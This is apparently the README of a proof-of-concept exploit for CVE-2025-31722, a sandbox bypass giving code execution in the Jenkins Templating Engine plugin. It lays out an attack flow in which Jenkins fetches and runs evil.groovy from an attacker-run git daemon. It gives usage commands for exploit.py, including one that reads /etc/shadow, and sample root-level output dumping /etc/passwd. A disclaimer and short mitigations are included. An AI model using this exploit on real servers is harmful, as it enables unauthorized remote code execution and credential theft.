
CVE-2025-31722 — Jenkins Templating Engine RCE
For educational and authorized security research purposes only.
Sandbox bypass vulnerability in the Jenkins Templating Engine (JTE) plugin <= 2.5.3 that allows a low-privileged user to execute arbitrary code on the Jenkins server.
The flaw occurs because JTE loads libraries from an external git repository defined in a folder-level GovernanceTier configuration and executes the steps from those libraries outside the Groovy sandbox, regardless of the privilege level of the user who created the job.
CVSS: 8.8 (High)
Type: Sandbox Bypass → RCE
Affected component: pipeline-templating-engine plugin ≤ 2.5.3
Fixed version: 2.5.4+
Attacker (Kali) Jenkins Server
─────────────── ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins → Folder with GovernanceTier
pointing to git://KALI:9418/… pointing to attacker's repo
4. Creates job with AdHoc template → Job calls evil()
5. Triggers build → JTE clones repo from Kali
Executes evil() outside sandbox
← RCE as Jenkins user
cloudbees-folder, git, workflow-aggregatorattacker with permissions: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgit installedrequestspip install requests
The setup installed on a Debian/Ubuntu server had installed Jenkins, configured users, permissions, and required plugins. It does not create any malicious content — that is handled exclusively by the PoC.
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
setup_repo() — Creates ~/jte-exploit/evil-lib/steps/evil.groovy on Kali with the command to executestart_git_daemon() — Starts git daemon on Kali on port 9418create_folder() — Creates a folder in Jenkins with a GovernanceTier pointing to git://KALI:9418/jte-exploitcreate_job() — Creates a job with AdHocTemplateFlowDefinition that declares evil-lib and calls evil()trigger_and_wait() — Triggers the build and waits for the resultprint_output() — Displays the console output with the RCE resultThe git daemon stays alive throughout the entire build cycle and is terminated automatically once the build completes.
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Target : http://10.211.55.10:8080
Git host: 10.211.55.7
Command : id && hostname && cat /etc/passwd
=================================================================
[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued
=================================================================
CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE and Item/CONFIGURE permissions to trusted users onlyGovernanceTier configurations pointing to external repositoriesLegal disclaimer: This PoC is intended solely for educational purposes and testing in controlled environments. Using it against systems without explicit authorization is illegal.
| Parameter | Description | Required |
|---|
--url | Jenkins base URL | Yes |
--user | User with Item/CREATE+CONFIGURE+BUILD permissions | Yes |
--pass | User password | Yes |
--git-host | Kali IP reachable from Jenkins | Yes |
--cmd | Command to execute on the server (default: id && hostname && cat /etc/passwd) | No |
--cleanup | Deletes the folder, job and repo created by the exploit | No |